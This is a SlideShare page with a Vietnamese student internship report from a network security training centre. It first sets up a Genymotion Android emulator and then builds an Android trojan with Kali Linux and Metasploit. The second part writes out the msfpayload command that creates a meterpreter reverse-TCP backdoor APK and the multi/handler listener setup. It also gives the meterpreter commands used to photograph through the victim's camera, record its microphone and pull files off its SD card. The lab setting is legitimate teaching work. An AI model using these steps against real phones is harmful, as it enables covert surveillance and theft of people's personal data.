SlideShare a Scribd company logo
1 of 18
Athena
TRUNG TÂM ĐÀO TẠO QUẢNG TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ
Báo cáo thực tập :
Nghiên cứu các Trojan, Malware cho phép đánh
cắp dữ liệu như danh sách contact, tin nhắn trên
điện thoại sử dụng Android và gửi ra ngoài
GVHD: Võ Đỗ Thắng
Sinh viên: Trần Trọng An
Báo cáo:
Phần 1:Giả lập Android ảo
Phần 2:Tạo mã độc xâm nhập Android
Trang 2
Phần 1:Giả lập Android ảo bằng Genymotion
Genymotion là phần mềm giúp tạo các máy ảo Android trên PC để có thể thoải mái cài và sử
dụng app từ Google Play. Chúng ta cũng được phép truy cập vào những thành phần hệ thống
khác, ví dụ như homescreen, phần cài đặt, thanh thông báo... y hệt như trên thiết bị di động, và
lại hoàn toàn miễn phí.
Genymotion thực chất sử dụng VirtualBox để tạo ra các máy ảo, tuy nhiên nó sẽ giúp chúng ta
đơn giản được nhiều bước thiết lập. Genymotion được viết nên chủ yếu để các lập trình viên
kiểm tra phần mềm của mình trước khi đưa Google Play, nhưng chúng ta hoàn toàn có thể dùng
nó cho nhu cầu chạy app thông thường cũng được.
Genyra đời mục đích chính là để cho mọi ng trải nghiệm 1 chiếc điện thoại thật 1 cách tốt nhất :
+ Người chưa bao giờ thấy cái điện thoại Android và muốn tập xài thử
+ Những người có máy thật muốn cài + chạy thử ứng dụng trước khi cài vào máy (đề phòng
virus,app lừa đảo)
+ Lập trình viên test thử ứng dụng của họ viết.
+ Giải trí cơ bản với game nhỏ
Geny Motion có rất nhiều ưu điểm :
- Hỗ trợ OpenGL 2.0 nên xử lí đồ họa, chơi game thì k cần hỏi ( nhưng chưa ổn định lắm, nhiều
game bị văng)
- Cài được ứng dụng, game, vào CH Play vô tư.
- Hiệu ứng chuyển mượt hơn Android X86 nhiều.
- Hỗ trợ đúng độ phân giải của 1 máy điện thoại thật ( galaxy S4,HTC One, Xperia Z)
- Tự xoay màn hình với ứng dụng cần xoay ( như chơi chém quả hoặc AngryBird )
- Có giả lập định vị GPS, giả lập Pin, giả lập Camera trước/sau
- Kết nối Eclipse để lập trình cực kì đơn giản, chỉ cần trỏ tới thư mục sdk là xong
Cài đặt Genymotion:
Đầu tiên bạn vào trang http://www.genymotion.com/, tạo một tài khoản. Sau khi đăng nhập
thành công bạn download phiên bản Windows 32/64 bits (with VirtualBox)
Trang 3
Khi đã tải và cài đặt xong Genymotion, hãy chạy ứng dụng này lên. Chúng ta sẽ đi qua một số
bước thiết lập như sau:
Đăng nhập vào ứng dụng Genymotion bằng tài khoản mà bạn mới vừa đăng kí ở trên.
Trang 4
Bạn sẽ được hỏi về việc chọn thiết bị giả lập môi trường Android ảo. Có rất nhiều máy ảo, ví dụ
như HTC One, Xperia Z, Samsung Galaxy S4 cho đến các máy Nexus, có cả một số tablet ở đây
nữa. Chọn lấy máy nào đó bạn thích, rồi tiếp tục nhấn nút Add và nút Next. Đợi cho máy ảo tải
về, có thể sẽ hơi lâu đấy vì đến một hai trăm MB lận. Nên chọn những máy ảo có chữ "with
Google Apps" để có sẵn những kho Google Play
Sau khi tải về xong, hãy nhấn đúp vào máy ảo bạn tính sử dụng. Một hộp thoại thông báo sẽ xuất
hiện, ở hộp thoại "Path to Android SDK", hãy trỏ đường dẫn đến thư mục Android SDK mà bạn
mới vừa tải về ở trên. Lưu ý là phải trỏ đúng vào thư mục có chữ sdk bên trong nữa nhé, đến khi
nào dòng chữ "ABD from Android Developer Tools successfully found là được". Nhấn OK để
hoàn tất
Trang 5
Quay trở lại giao diện chính của Genymotion, nhấp vào máy ảo mà bạn muốn chạy. Chờ một lát
là máy sẽ xuất hiện lên như hình bên dưới. Tiếp đó bạn có thể dùng chuột để tương tác với máy
ảo Android, đăng nhập tài khoản Google, thiết lập màn hình, tải app, nghịch app, vào phần
settings...
Trang 6
Trang 7
Phần 2: Tạo mã độc xâm nhập Android
Ở phần này mình sẽ dùng máy Kali Linux làm máy tấn công và dùng Genymotion tạo android ảo
làm môi trường bị tấn công.
Ta có thể sử dụng lệnh ifconfig để xem IP của máy Kali
Sau khi biết IP của máy tấn công ta vào phần chính tạo backdoor và xâm nhập điều khiển
android
Gõ dòng lệnh:
Msfpayload android/meterpreter/reverse_tcp lhost=<IP> lport=<Port> R >
/root/Desktop/files.apk
IP: là IP của Kali Linux
Port: số port bạn có thể chọn bất kì, sao cho thỏa quy tắt đặt port
Trang 8
Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một Metasploit reverse tcp
backdoor
Tiếp theo, gõ lệnh msfconsole Metasploit
Trang 9
Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.
set lport 8080 – nhập port giống với port khi tạo payload ở trên.
Exploit
Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
Thử với một máy Xperia Z giả lập, tải về files.apk, cài đặt:
Trang 10
Khi tiến hành cài đặt file.apk ta thấy ứng dụng có các quyền sau:
Trang 11
- Đọc trạng thái và nhận dạng của điện thoại
- Gửi tin nhắn SMS, nhận văn bản SMS
- Chụp ảnh và quay video
- Ghi âm
- Đọc danh sách liên hệ, nhật kí cuộc gọi, ghi âm nhật kí cuộc gọi
- Sửa hoặc xóa nội dung thẻ SD của bạn
Trang 12
- .........
Sau khi cài đặt xong
Sau đó mở ứng dung MainActivity
Trang 13
Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:
Trang 14
Dùng lệnh “help” đê biết những lệnh tấn công android
 Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Trang 15
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách
camera ở phần trước. Ví dụ như sau:
File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở /root
của máy
Trang 16
 Ghi âm
Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy
 Lấy file từ sd card
Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục
Trang 17
Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard
Dùng lệnh cd /sdcard/Download để vào thư mục
Trang 18
Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh
Download App.apk
Và file này sẽ được tải về thư mục root của máy Kali

More Related Content

What's hot

Nghiên cứu các chương trình có mã độc trên android và nghiên cứu cài đặt bac...
Nghiên cứu các chương trình có mã độc trên android  và nghiên cứu cài đặt bac...Nghiên cứu các chương trình có mã độc trên android  và nghiên cứu cài đặt bac...
Nghiên cứu các chương trình có mã độc trên android và nghiên cứu cài đặt bac...Nguyen Anh
 
Cài đặt kali linux trên máy ảo VMware
Cài đặt kali linux trên máy ảo VMwareCài đặt kali linux trên máy ảo VMware
Cài đặt kali linux trên máy ảo VMwareNguyen Stone
 
Tuần 3 tạo mã độc trên kali linux
Tuần 3   tạo mã độc trên kali linuxTuần 3   tạo mã độc trên kali linux
Tuần 3 tạo mã độc trên kali linuxHường Tô
 
Chuong 11 setup-win98
Chuong 11 setup-win98Chuong 11 setup-win98
Chuong 11 setup-win98Hate To Love
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System HackingHuynh Khang
 
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1phanconghien
 
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcSlide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcLoc Tran
 
Cách diệt virus w32
Cách diệt virus w32Cách diệt virus w32
Cách diệt virus w32Thai Cao
 
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxHướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxLê Lãnh
 
Chuong 12 setup-win-xp
Chuong 12 setup-win-xpChuong 12 setup-win-xp
Chuong 12 setup-win-xpHate To Love
 
Cach tao phan vung an recovery
Cach tao phan vung an recoveryCach tao phan vung an recovery
Cach tao phan vung an recoveryTrường Tiền
 

What's hot (19)

Nghiên cứu các chương trình có mã độc trên android và nghiên cứu cài đặt bac...
Nghiên cứu các chương trình có mã độc trên android  và nghiên cứu cài đặt bac...Nghiên cứu các chương trình có mã độc trên android  và nghiên cứu cài đặt bac...
Nghiên cứu các chương trình có mã độc trên android và nghiên cứu cài đặt bac...
 
Cài đặt kali linux trên máy ảo VMware
Cài đặt kali linux trên máy ảo VMwareCài đặt kali linux trên máy ảo VMware
Cài đặt kali linux trên máy ảo VMware
 
Tuần 3 tạo mã độc trên kali linux
Tuần 3   tạo mã độc trên kali linuxTuần 3   tạo mã độc trên kali linux
Tuần 3 tạo mã độc trên kali linux
 
Flixel tutorial
Flixel tutorialFlixel tutorial
Flixel tutorial
 
Chuong 11 setup-win98
Chuong 11 setup-win98Chuong 11 setup-win98
Chuong 11 setup-win98
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System Hacking
 
Kali linux
Kali linuxKali linux
Kali linux
 
ATHENA - Nguyen Xuan Ngoc - Giua Ky
ATHENA - Nguyen Xuan Ngoc - Giua KyATHENA - Nguyen Xuan Ngoc - Giua Ky
ATHENA - Nguyen Xuan Ngoc - Giua Ky
 
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
BÁO CÁO THỰC TẬP ATHENA - TUẦN 1
 
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn LộcSlide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
 
Tuan2
Tuan2Tuan2
Tuan2
 
Athena tuần 5
Athena tuần 5Athena tuần 5
Athena tuần 5
 
Cách diệt virus w32
Cách diệt virus w32Cách diệt virus w32
Cách diệt virus w32
 
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxHướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
 
Bao cao tuan 4
Bao cao tuan 4Bao cao tuan 4
Bao cao tuan 4
 
Bao cao tuan 6 7 8
Bao cao tuan 6 7 8Bao cao tuan 6 7 8
Bao cao tuan 6 7 8
 
Báo cáo tuần 5
Báo cáo tuần 5Báo cáo tuần 5
Báo cáo tuần 5
 
Chuong 12 setup-win-xp
Chuong 12 setup-win-xpChuong 12 setup-win-xp
Chuong 12 setup-win-xp
 
Cach tao phan vung an recovery
Cach tao phan vung an recoveryCach tao phan vung an recovery
Cach tao phan vung an recovery
 

Viewers also liked

ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค เทอมสอง 2555
ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค  เทอมสอง 2555ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค  เทอมสอง 2555
ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค เทอมสอง 2555Muhammadrusdee Almaarify
 
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesisFlora Viale
 
Em vull conèixer
Em vull conèixerEm vull conèixer
Em vull conèixervallterrics
 
Imágenes en word
Imágenes en wordImágenes en word
Imágenes en wordpinojeffrey
 
Richards claral richards al baseball profesional ecos del valle dic 1960
Richards   claral richards al baseball profesional ecos del valle  dic 1960Richards   claral richards al baseball profesional ecos del valle  dic 1960
Richards claral richards al baseball profesional ecos del valle dic 1960The_Afrolatino_Project
 
¿Cómo introducir correctamente la clave operativa?
¿Cómo introducir correctamente la clave operativa?¿Cómo introducir correctamente la clave operativa?
¿Cómo introducir correctamente la clave operativa?Isabel Tc
 
Boletin world mayo 2012
Boletin world mayo 2012Boletin world mayo 2012
Boletin world mayo 2012digital33rpm
 
Las Camisas Chinas
Las Camisas ChinasLas Camisas Chinas
Las Camisas Chinasblancamonick
 
Maggio, gran finale tra show e biciclette
Maggio, gran finale tra show e bicicletteMaggio, gran finale tra show e biciclette
Maggio, gran finale tra show e bicicletteNikuraTw
 
Faltzes Euskararen Eguna 2013
Faltzes Euskararen Eguna 2013Faltzes Euskararen Eguna 2013
Faltzes Euskararen Eguna 2013BASORLEGI
 
Я и книга
Я и книга   Я и книга
Я и книга violeta-ok
 

Viewers also liked (20)

ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค เทอมสอง 2555
ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค  เทอมสอง 2555ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค  เทอมสอง 2555
ข้อสอบวิชาอัลฮะดีษ 11 ปลายภาค เทอมสอง 2555
 
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis
260613890_Viale_Flora_Atmospheric&OceanicSciences(AOS)_thesis
 
Pla d'acollida
Pla d'acollidaPla d'acollida
Pla d'acollida
 
Em vull conèixer
Em vull conèixerEm vull conèixer
Em vull conèixer
 
Best business books
Best business booksBest business books
Best business books
 
Imágenes en word
Imágenes en wordImágenes en word
Imágenes en word
 
Power point
Power pointPower point
Power point
 
Valores del sena
Valores del senaValores del sena
Valores del sena
 
Taqwa 3
Taqwa 3Taqwa 3
Taqwa 3
 
Richards claral richards al baseball profesional ecos del valle dic 1960
Richards   claral richards al baseball profesional ecos del valle  dic 1960Richards   claral richards al baseball profesional ecos del valle  dic 1960
Richards claral richards al baseball profesional ecos del valle dic 1960
 
Informatica
InformaticaInformatica
Informatica
 
¿Cómo introducir correctamente la clave operativa?
¿Cómo introducir correctamente la clave operativa?¿Cómo introducir correctamente la clave operativa?
¿Cómo introducir correctamente la clave operativa?
 
Dsc04660
Dsc04660Dsc04660
Dsc04660
 
Boletin world mayo 2012
Boletin world mayo 2012Boletin world mayo 2012
Boletin world mayo 2012
 
Las Camisas Chinas
Las Camisas ChinasLas Camisas Chinas
Las Camisas Chinas
 
Eric BC
Eric BCEric BC
Eric BC
 
Maggio, gran finale tra show e biciclette
Maggio, gran finale tra show e bicicletteMaggio, gran finale tra show e biciclette
Maggio, gran finale tra show e biciclette
 
Faltzes Euskararen Eguna 2013
Faltzes Euskararen Eguna 2013Faltzes Euskararen Eguna 2013
Faltzes Euskararen Eguna 2013
 
Я и книга
Я и книга   Я и книга
Я и книга
 
Promoció Dieta Personalitzada
Promoció Dieta PersonalitzadaPromoció Dieta Personalitzada
Promoció Dieta Personalitzada
 

Similar to Genmymotion

BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲBÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲphanconghien
 
BÁO CÁO THỰC TẬP - TUẦN 3-4
BÁO CÁO THỰC TẬP - TUẦN 3-4BÁO CÁO THỰC TẬP - TUẦN 3-4
BÁO CÁO THỰC TẬP - TUẦN 3-4kakawpah0911
 
BÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲBÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲkakawpah0911
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1ThongErik
 
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaBáo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaNhoxPO
 
Báo cáo trần trong an
Báo cáo trần trong anBáo cáo trần trong an
Báo cáo trần trong anTrọng An
 
Slide thuyet trinh android
Slide thuyet trinh androidSlide thuyet trinh android
Slide thuyet trinh androidkuto92love
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidPhuong Ngo
 
BÁO CÁO THỰC TẬP - TUẦN 6
BÁO CÁO THỰC TẬP - TUẦN 6BÁO CÁO THỰC TẬP - TUẦN 6
BÁO CÁO THỰC TẬP - TUẦN 6kakawpah0911
 
Báo cáo đề tài 5
Báo cáo đề tài 5Báo cáo đề tài 5
Báo cáo đề tài 5Nguyen Anh
 
Vũ thanh hiếu tạo mã độc trên vps tấn công android
Vũ thanh hiếu   tạo mã độc trên vps tấn công androidVũ thanh hiếu   tạo mã độc trên vps tấn công android
Vũ thanh hiếu tạo mã độc trên vps tấn công androidAnh Hiếu
 
Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Giap Le Van
 
Tạo mã độc trên vps
Tạo mã độc trên vpsTạo mã độc trên vps
Tạo mã độc trên vpsHường Tô
 

Similar to Genmymotion (20)

Genmymotion
GenmymotionGenmymotion
Genmymotion
 
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲBÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
BÁO CÁO THỰC TẬP ATHENA - BÁO CÁO GIỮA KỲ
 
BÁO CÁO THỰC TẬP - TUẦN 3-4
BÁO CÁO THỰC TẬP - TUẦN 3-4BÁO CÁO THỰC TẬP - TUẦN 3-4
BÁO CÁO THỰC TẬP - TUẦN 3-4
 
Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tap
 
Kali Linux
Kali LinuxKali Linux
Kali Linux
 
Bao cao
Bao caoBao cao
Bao cao
 
BÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲBÁO CÁO THỰC TẬP - GIỮA KỲ
BÁO CÁO THỰC TẬP - GIỮA KỲ
 
Báo cáo tuần 1
Báo cáo tuần 1Báo cáo tuần 1
Báo cáo tuần 1
 
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo AthenaBáo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
Báo cáo thực tập tuần 1 - Trung tâm đào tạo Athena
 
Báo cáo trần trong an
Báo cáo trần trong anBáo cáo trần trong an
Báo cáo trần trong an
 
Slide thuyet trinh android
Slide thuyet trinh androidSlide thuyet trinh android
Slide thuyet trinh android
 
Bao cao tuan 2
Bao cao tuan 2Bao cao tuan 2
Bao cao tuan 2
 
Tìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành androidTìm hiểu về hệ điều hành android
Tìm hiểu về hệ điều hành android
 
BÁO CÁO THỰC TẬP - TUẦN 6
BÁO CÁO THỰC TẬP - TUẦN 6BÁO CÁO THỰC TẬP - TUẦN 6
BÁO CÁO THỰC TẬP - TUẦN 6
 
Báo cáo đề tài 5
Báo cáo đề tài 5Báo cáo đề tài 5
Báo cáo đề tài 5
 
Vũ thanh hiếu tạo mã độc trên vps tấn công android
Vũ thanh hiếu   tạo mã độc trên vps tấn công androidVũ thanh hiếu   tạo mã độc trên vps tấn công android
Vũ thanh hiếu tạo mã độc trên vps tấn công android
 
Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)Google Android Security (Basic2Advanced)
Google Android Security (Basic2Advanced)
 
1
11
1
 
Kali Linux
Kali LinuxKali Linux
Kali Linux
 
Tạo mã độc trên vps
Tạo mã độc trên vpsTạo mã độc trên vps
Tạo mã độc trên vps
 

Genmymotion

  • 1. Athena TRUNG TÂM ĐÀO TẠO QUẢNG TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ Báo cáo thực tập : Nghiên cứu các Trojan, Malware cho phép đánh cắp dữ liệu như danh sách contact, tin nhắn trên điện thoại sử dụng Android và gửi ra ngoài GVHD: Võ Đỗ Thắng Sinh viên: Trần Trọng An Báo cáo: Phần 1:Giả lập Android ảo Phần 2:Tạo mã độc xâm nhập Android
  • 2. Trang 2 Phần 1:Giả lập Android ảo bằng Genymotion Genymotion là phần mềm giúp tạo các máy ảo Android trên PC để có thể thoải mái cài và sử dụng app từ Google Play. Chúng ta cũng được phép truy cập vào những thành phần hệ thống khác, ví dụ như homescreen, phần cài đặt, thanh thông báo... y hệt như trên thiết bị di động, và lại hoàn toàn miễn phí. Genymotion thực chất sử dụng VirtualBox để tạo ra các máy ảo, tuy nhiên nó sẽ giúp chúng ta đơn giản được nhiều bước thiết lập. Genymotion được viết nên chủ yếu để các lập trình viên kiểm tra phần mềm của mình trước khi đưa Google Play, nhưng chúng ta hoàn toàn có thể dùng nó cho nhu cầu chạy app thông thường cũng được. Genyra đời mục đích chính là để cho mọi ng trải nghiệm 1 chiếc điện thoại thật 1 cách tốt nhất : + Người chưa bao giờ thấy cái điện thoại Android và muốn tập xài thử + Những người có máy thật muốn cài + chạy thử ứng dụng trước khi cài vào máy (đề phòng virus,app lừa đảo) + Lập trình viên test thử ứng dụng của họ viết. + Giải trí cơ bản với game nhỏ Geny Motion có rất nhiều ưu điểm : - Hỗ trợ OpenGL 2.0 nên xử lí đồ họa, chơi game thì k cần hỏi ( nhưng chưa ổn định lắm, nhiều game bị văng) - Cài được ứng dụng, game, vào CH Play vô tư. - Hiệu ứng chuyển mượt hơn Android X86 nhiều. - Hỗ trợ đúng độ phân giải của 1 máy điện thoại thật ( galaxy S4,HTC One, Xperia Z) - Tự xoay màn hình với ứng dụng cần xoay ( như chơi chém quả hoặc AngryBird ) - Có giả lập định vị GPS, giả lập Pin, giả lập Camera trước/sau - Kết nối Eclipse để lập trình cực kì đơn giản, chỉ cần trỏ tới thư mục sdk là xong Cài đặt Genymotion: Đầu tiên bạn vào trang http://www.genymotion.com/, tạo một tài khoản. Sau khi đăng nhập thành công bạn download phiên bản Windows 32/64 bits (with VirtualBox)
  • 3. Trang 3 Khi đã tải và cài đặt xong Genymotion, hãy chạy ứng dụng này lên. Chúng ta sẽ đi qua một số bước thiết lập như sau: Đăng nhập vào ứng dụng Genymotion bằng tài khoản mà bạn mới vừa đăng kí ở trên.
  • 4. Trang 4 Bạn sẽ được hỏi về việc chọn thiết bị giả lập môi trường Android ảo. Có rất nhiều máy ảo, ví dụ như HTC One, Xperia Z, Samsung Galaxy S4 cho đến các máy Nexus, có cả một số tablet ở đây nữa. Chọn lấy máy nào đó bạn thích, rồi tiếp tục nhấn nút Add và nút Next. Đợi cho máy ảo tải về, có thể sẽ hơi lâu đấy vì đến một hai trăm MB lận. Nên chọn những máy ảo có chữ "with Google Apps" để có sẵn những kho Google Play Sau khi tải về xong, hãy nhấn đúp vào máy ảo bạn tính sử dụng. Một hộp thoại thông báo sẽ xuất hiện, ở hộp thoại "Path to Android SDK", hãy trỏ đường dẫn đến thư mục Android SDK mà bạn mới vừa tải về ở trên. Lưu ý là phải trỏ đúng vào thư mục có chữ sdk bên trong nữa nhé, đến khi nào dòng chữ "ABD from Android Developer Tools successfully found là được". Nhấn OK để hoàn tất
  • 5. Trang 5 Quay trở lại giao diện chính của Genymotion, nhấp vào máy ảo mà bạn muốn chạy. Chờ một lát là máy sẽ xuất hiện lên như hình bên dưới. Tiếp đó bạn có thể dùng chuột để tương tác với máy ảo Android, đăng nhập tài khoản Google, thiết lập màn hình, tải app, nghịch app, vào phần settings...
  • 7. Trang 7 Phần 2: Tạo mã độc xâm nhập Android Ở phần này mình sẽ dùng máy Kali Linux làm máy tấn công và dùng Genymotion tạo android ảo làm môi trường bị tấn công. Ta có thể sử dụng lệnh ifconfig để xem IP của máy Kali Sau khi biết IP của máy tấn công ta vào phần chính tạo backdoor và xâm nhập điều khiển android Gõ dòng lệnh: Msfpayload android/meterpreter/reverse_tcp lhost=<IP> lport=<Port> R > /root/Desktop/files.apk IP: là IP của Kali Linux Port: số port bạn có thể chọn bất kì, sao cho thỏa quy tắt đặt port
  • 8. Trang 8 Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một Metasploit reverse tcp backdoor Tiếp theo, gõ lệnh msfconsole Metasploit
  • 9. Trang 9 Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên. set lport 8080 – nhập port giống với port khi tạo payload ở trên. Exploit Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor. Thử với một máy Xperia Z giả lập, tải về files.apk, cài đặt:
  • 10. Trang 10 Khi tiến hành cài đặt file.apk ta thấy ứng dụng có các quyền sau:
  • 11. Trang 11 - Đọc trạng thái và nhận dạng của điện thoại - Gửi tin nhắn SMS, nhận văn bản SMS - Chụp ảnh và quay video - Ghi âm - Đọc danh sách liên hệ, nhật kí cuộc gọi, ghi âm nhật kí cuộc gọi - Sửa hoặc xóa nội dung thẻ SD của bạn
  • 12. Trang 12 - ......... Sau khi cài đặt xong Sau đó mở ứng dung MainActivity
  • 13. Trang 13 Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:
  • 14. Trang 14 Dùng lệnh “help” đê biết những lệnh tấn công android  Sử dụng camera: Để xem danh sách camera, nhập webcam_list
  • 15. Trang 15 Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách camera ở phần trước. Ví dụ như sau: File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở /root của máy
  • 16. Trang 16  Ghi âm Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy  Lấy file từ sd card Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục
  • 17. Trang 17 Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard Dùng lệnh cd /sdcard/Download để vào thư mục
  • 18. Trang 18 Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh Download App.apk Và file này sẽ được tải về thư mục root của máy Kali